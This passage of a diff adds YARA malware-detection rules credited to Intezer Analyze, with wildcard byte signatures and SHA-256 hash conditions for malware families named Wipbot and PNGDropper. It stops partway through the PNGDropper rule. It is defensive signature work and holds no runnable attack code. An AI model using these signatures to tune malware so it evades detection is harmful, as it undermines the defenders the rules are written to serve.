+		$block_10 = { 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_11 = { FF 4? ?? 89 ?? 89 ?? C1 ?? ?? 8B ?? ?? C1 ?? ?? 30 ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? 39 ?? 0F 84 }
+		$block_12 = { E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? E9 }
+		$block_13 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 86 }
+		$block_14 = { F6 ?? ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? 89 ?? ?? 89 ?? ?? 0F 85 }
+		$block_15 = { 0F B7 ?? ?? C1 ?? ?? 25 ?? ?? ?? ?? 0F 95 ?? ?? ?? ?? ?? 89 ?? 80 8? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { 8B ?? ?? 88 ?? 80 E? ?? 0F B6 ?? ?? ?? ?? ?? 24 ?? 08 ?? 88 ?? ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? E9 }
+		$block_17 = { 0F B6 ?? ?? ?? 89 ?? 4? 30 ?? ?? ?? ?? ?? 31 ?? 81 F? ?? ?? ?? ?? 0F 9D ?? 4? 4? 21 ?? 39 ?? 7C }
+		$block_18 = { 8B ?? ?? FF 4? ?? 8B ?? ?? 89 ?? ?? 0F B6 ?? 88 ?? ?? ?? 8B ?? ?? 4? 8B ?? ?? 89 ?? ?? 39 ?? 72 }
+		$block_19 = { 0F B6 ?? 31 ?? 31 ?? 89 ?? ?? ?? 31 ?? 4? 89 ?? ?? ?? 31 ?? BD ?? ?? ?? ?? 89 ?? ?? ?? 88 ?? E9 }
+		$block_20 = { FF 8? ?? ?? ?? ?? 31 ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 95 ?? 85 ?? 8D ?? ?? ?? 0F 84 }
+		$block_21 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 41 ?? ?? ?? 75 }
+		$block_22 = { 48 ?? ?? ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_23 = { 41 ?? 5? 5? 48 ?? ?? BE ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_24 = { 64 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_25 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_26 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 48 ?? ?? E8 ?? ?? ?? ?? 29 ?? 8D ?? ?? 83 ?? ?? 41 ?? ?? 44 ?? ?? ?? 41 ?? ?? ?? 4D ?? ?? 0F 84 }
+		$block_28 = { 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 ?? ?? F3 ?? B9 ?? ?? ?? ?? 0F 97 ?? 0F 92 ?? 38 ?? 0F 84 }
+		$block_29 = { 48 ?? 49 ?? ?? FF C? 48 ?? ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 0F 85 }
+		$block_30 = { BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 89 ?? ?? ?? ?? ?? 0F 88 }
+		$block_31 = { 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 0F 05 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 89 }
+		$block_32 = { 4C ?? ?? 48 ?? ?? 41 ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 0F 05 48 ?? ?? ?? ?? ?? 76 }
+		$block_33 = { 0F BE ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? 40 ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 74 }
+		$block_34 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? 39 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 0F 84 }
+		$block_35 = { 89 ?? ?? ?? 8B ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_36 = { 89 ?? ?? 31 ?? 31 ?? 89 ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 5? ?? 85 ?? 0F 84 }
+		$block_37 = { 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_38 = { C7 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_39 = { C7 ?? ?? ?? ?? ?? ?? 31 ?? 89 ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 89 }
+		$block_40 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 89 ?? ?? B9 ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 29 ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_42 = { 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_43 = { C7 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_44 = { 89 ?? ?? ?? 8B ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_45 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_46 = { 8D ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 31 ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 8D }
+		$block_47 = { 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_48 = { 8D ?? ?? 89 ?? 89 ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? 0F B7 ?? 8D ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F 86 }
+		$block_49 = { 8B ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 88 }
+		$block_50 = { 89 ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_51 = { FF 4? ?? 4? 0F BE ?? 0F B6 ?? 83 ?? ?? 89 ?? ?? 0F BE ?? 8D ?? ?? 88 ?? 88 ?? 2C ?? 3C ?? 77 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_53 = { 89 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? 39 ?? ?? 89 ?? ?? 0F 85 }
+		$block_54 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? 85 ?? 89 ?? 89 ?? ?? 0F 88 }
+		$block_55 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_56 = { 8B ?? ?? ?? ?? ?? ?? 89 ?? 29 ?? 8B ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 89 ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_58 = { 48 ?? ?? E8 ?? ?? ?? ?? 89 ?? 48 ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_59 = { 41 ?? 49 ?? ?? 5? 48 ?? ?? ?? 5? 8B ?? ?? 48 ?? ?? C6 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 87 }
+		$block_60 = { 44 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_61 = { 41 ?? 4C ?? ?? ?? 5? 48 ?? ?? 5? 8B ?? ?? 48 ?? ?? C6 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 87 }
+		$block_62 = { 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? F0 ?? ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? 48 ?? ?? 0F 83 }
+		$block_63 = { 44 ?? ?? BA ?? ?? ?? ?? FC 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? F3 ?? ?? 40 ?? ?? ?? 74 }
+		$block_64 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 44 ?? ?? E8 ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_65 = { 48 ?? ?? ?? ?? ?? 0F 94 ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? 41 ?? ?? ?? 44 ?? ?? 0F 84 }
+		$block_66 = { 49 ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 41 ?? ?? 41 ?? ?? 0F 84 }
+		$block_67 = { C6 ?? ?? BF ?? ?? ?? ?? 89 ?? ?? 89 ?? E8 ?? ?? ?? ?? C6 ?? ?? B9 ?? ?? ?? ?? FC F3 ?? 74 }
+		$block_68 = { FC 89 ?? C1 ?? ?? 89 ?? F3 ?? 8B ?? ?? ?? ?? ?? 80 8? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E9 }
+		$block_69 = { 5? 89 ?? 5? 89 ?? 5? 5? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_70 = { C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_71 = { 8B ?? 83 ?? ?? 89 ?? 8B ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_72 = { 5? 31 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 85 ?? 0F 8E }
+		$block_73 = { 8B ?? ?? 8B ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 95 ?? 0F B6 ?? 4? 21 ?? ?? 9? }
+		$block_74 = { 8D ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_75 = { C7 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_76 = { 89 ?? ?? ?? 31 ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_77 = { B8 ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 0F 84 }
+		$block_78 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_79 = { 4C ?? ?? ?? ?? 4D ?? ?? 4C ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? FF D? 83 ?? ?? 0F 84 }
+		$block_80 = { 4C ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 4A ?? ?? ?? 48 ?? ?? 48 ?? ?? 49 ?? ?? 0F 89 }
+		$block_81 = { 44 ?? ?? 44 ?? ?? 41 ?? ?? B9 ?? ?? ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_82 = { 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 80 3? ?? 0F 84 }
+		$block_83 = { 48 ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? ?? ?? 0F 85 }
+		$block_84 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_85 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 49 ?? ?? ?? 0F 88 }
+		$block_86 = { 89 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_87 = { 4D ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 41 ?? ?? ?? 0F 8F }
+		$block_88 = { 4C ?? ?? 4C ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F 87 }
+		$block_89 = { 48 ?? ?? ?? ?? 49 ?? ?? 89 ?? 4C ?? ?? 44 ?? ?? E8 ?? ?? ?? ?? 0F BE ?? 83 ?? ?? 0F 84 }
+		$block_90 = { 8B ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 01 ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 87 }
+		$block_91 = { 8B ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_92 = { BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 41 ?? ?? ?? 0F 84 }
+		$block_93 = { BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 41 ?? ?? ?? 0F 85 }
+		$block_94 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_95 = { FF 4? ?? 48 ?? ?? ?? 48 ?? ?? ?? 4D ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? FF C? 0F 84 }
+		$block_96 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 8B ?? ?? 48 ?? ?? ?? 5? 41 ?? 41 ?? 41 ?? 41 ?? C9 C3 }
+		$block_97 = { 49 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 4C ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 8E }
+		$block_98 = { 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_99 = { 48 ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 41 ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "1eee1d0f736f3b796ab8da66bb16a68c7600e9a0c0cc8de0b640bc53beb9a90a" or
+		hash.sha256(0, filesize) == "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4" or
+		hash.sha256(0, filesize) == "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc" or
+		hash.sha256(0, filesize) == "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667" or
+		hash.sha256(0, filesize) == "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0" or
+		hash.sha256(0, filesize) == "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8" or
+		12 of them
+}
+
+rule Wipbot {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 4? 0F B7 ?? 4? 8B ?? 4? 89 ?? 4? 01 ?? C1 ?? ?? 4? 81 E? ?? ?? ?? ?? 4? 01 ?? 66 ?? ?? ?? 75 }
+		$block_1 = { D9 ?? FB 5? 1A ?? ?? 3C ?? CC 04 ?? 18 ?? A4 02 ?? ?? BE ?? ?? ?? ?? 15 ?? ?? ?? ?? 5? EB }
+		$block_2 = { BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 4? C7 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 85 ?? 0F 84 }
+		$block_3 = { BA ?? ?? ?? ?? B8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { FF C? 89 ?? 0F BE ?? ?? E8 ?? ?? ?? ?? 0F BE ?? 31 ?? 69 ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_6 = { FF C? 69 ?? ?? ?? ?? ?? 89 ?? 0F BE ?? ?? E8 ?? ?? ?? ?? 0F BE ?? 31 ?? 85 ?? 75 }
+		$block_7 = { BA ?? ?? ?? ?? B8 ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 83 ?? ?? ?? 0F 94 ?? ?? 85 ?? 0F 94 ?? 0A ?? ?? 74 }
+		$block_9 = { 5? 5? 5? 4? 81 E? ?? ?? ?? ?? 8B ?? ?? 31 ?? 4? 01 ?? 66 ?? ?? ?? ?? 0F 84 }
+		$block_10 = { BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_11 = { 5? 89 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? 01 ?? 66 ?? ?? ?? ?? 0F 84 }
+		$block_12 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? FF D? 83 ?? ?? 85 ?? 0F 84 }
+		$block_13 = { BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 85 ?? 4? 89 ?? 0F 84 }
+		$block_14 = { 5? 89 ?? 5? 5? 31 ?? 5? 89 ?? 83 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_15 = { 03 ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_17 = { 4? 8D ?? ?? 4? 0F B7 ?? ?? 4? 8D ?? ?? 4? 8B ?? ?? 4? 01 ?? EB }
+		$block_18 = { 5? 5? 5? 4? 83 ?? ?? 31 ?? 4? 89 ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_19 = { A6 BE ?? ?? ?? ?? 4? B9 ?? ?? ?? ?? 18 ?? A6 85 ?? ?? 18 ?? 7E }
+		$block_20 = { 89 ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_21 = { 4? 8D ?? ?? ?? ?? ?? ?? 4? 89 ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_22 = { BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 85 ?? 0F 84 }
+		$block_23 = { 4? 85 ?? 89 ?? 0F 94 ?? 85 ?? 0F 94 ?? 4? 01 ?? 08 ?? 74 }
+		$block_24 = { BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_25 = { E8 ?? ?? ?? ?? 81 7? ?? ?? ?? ?? ?? 0F 94 ?? 0F B6 ?? EB }
+		$block_26 = { 83 ?? ?? 0F 9F ?? 0F B6 ?? 4? 81 C? ?? ?? ?? ?? 5? 5? C3 }
+		$block_27 = { 4? 85 ?? 4? 0F 94 ?? 4? 85 ?? 0F 94 ?? 4? 08 ?? 74 }
+		$block_28 = { 8D ?? ?? ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_29 = { 85 ?? 0F 94 ?? 85 ?? 0F 94 ?? 08 ?? 8D ?? ?? 74 }
+		$block_30 = { 5? 5? 5? 5? 4? 83 ?? ?? 4? 85 ?? 4? 89 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "d76ce236f12c7f964dd72727e27f9444f62fcf72ce9de356a3bbbf32c23189e2" or
+		hash.sha256(0, filesize) == "c558b2ee059ef8140788cbaefd648aad7879c34dc3b61d966229dba5afd36122" or
+		hash.sha256(0, filesize) == "e74faa35ed394f666e02de1b7f26665eb9a70dd3c355ef9d9e2d26a4d8a96f7e" or
+		hash.sha256(0, filesize) == "d2505d073b948b309c65b2f613afba06584d22b4b07181c58e0f4a4893d3f9b1" or
+		hash.sha256(0, filesize) == "895a97bb6340a0ede31b2376fecb605c7d91a3fcc588a31bc4ff3c39d1cd12c9" or
+		hash.sha256(0, filesize) == "fcd50490bf5498f9204519077f312930a1d689c8a07a1b30a90e0f2969416a1f" or
+		hash.sha256(0, filesize) == "966610c19fb620f90de6d7f35f469662824bad66c3091e0df1de1fd903df04c9" or
+		hash.sha256(0, filesize) == "57ec50ea2c1735d535dbf62df964190e21fbc21aca3c4cf34bd455f9ab3dd76d" or
+		hash.sha256(0, filesize) == "a5afb65975b5dddeda124b0151a14df5706c42ca50cbc68b34ca4c8b25f1e54e" or
+		hash.sha256(0, filesize) == "8ce2bdb1680ac8eafcb2adce7acb89ea741ac9cd6e6c1b3a551b521e2ab9a1c5" or
+		hash.sha256(0, filesize) == "0b97c87126578113050d8e014e8fefeb33146eebc40e75c070882ec31ae26aab" or
+		hash.sha256(0, filesize) == "44748d0ea4c2927a58b3e4c8090fb5b7bdfe41a4f00f8e5de2952a76312c3aa2" or
+		hash.sha256(0, filesize) == "1a6beed80ce6d2dee4445a5e0eb5a3f13675f461f9d975b6c6ef6cba5e916949" or
+		hash.sha256(0, filesize) == "ecaa89e4a358c33ac20e9a397a67cecba620d30d77dd7ec27ef92316d9264f3d" or
+		hash.sha256(0, filesize) == "0c02e49d3924b04c6bc42515cc926e59bf319f42f55afcc0b0da14d228bcbd7a" or
+		hash.sha256(0, filesize) == "fae51b0649a3c99e7c3054e584acca4359aae140d621f4a02e4f4e1fe441ea12" or
+		hash.sha256(0, filesize) == "d48aa85bc434a30463e3b258899efb0d94b30a1609a18ba094153806cdacbf30" or
+		hash.sha256(0, filesize) == "7fbe1f25b25da7d1dd187bcaeb1d1b13a48ffef136bba9af3d3c6cd2e6bf3e90" or
+		hash.sha256(0, filesize) == "4eba5182826becfc842315a0ce85f9e03aada8cc73d1e54ed0b55754ab89d9e0" or
+		12 of them
+}
+
+rule PNGDropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? ?? 6A ?? 6A ?? 03 ?? 8D ?? ?? 5? 03 ?? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_1 = { 49 ?? ?? 44 ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_2 = { FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 01 ?? ?? 0F B7 ?? ?? 83 ?? ?? 83 ?? ?? FF 4? ?? 39 ?? ?? 72 }
+		$block_3 = { 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_4 = { 8B ?? ?? 03 ?? 6A ?? 6A ?? 89 ?? ?? 8D ?? ?? 5? 03 ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_5 = { 8B ?? ?? 2B ?? ?? 2B ?? 99 2B ?? 8B ?? 8B ?? ?? 2B ?? 2B ?? 99 2B ?? D1 ?? 03 ?? ?? D1 ?? 03 }
+		$block_6 = { 5? 8B ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 33 ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_7 = { 5? 6A ?? 8D ?? ?? 5? 5? FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_8 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 3B ?? 73 }
+		$block_9 = { 8D ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 95 ?? 80 B? ?? ?? ?? ?? ?? 75 }
+		$block_10 = { 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 6A ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_11 = { C6 ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 4? 81 C? ?? ?? ?? ?? 3B ?? 0F 82 }
+		$block_12 = { 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 6A ?? 5? 8D ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 2B ?? 0F 84 }
+		$block_13 = { FF B? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_14 = { 0F B7 ?? ?? 68 ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
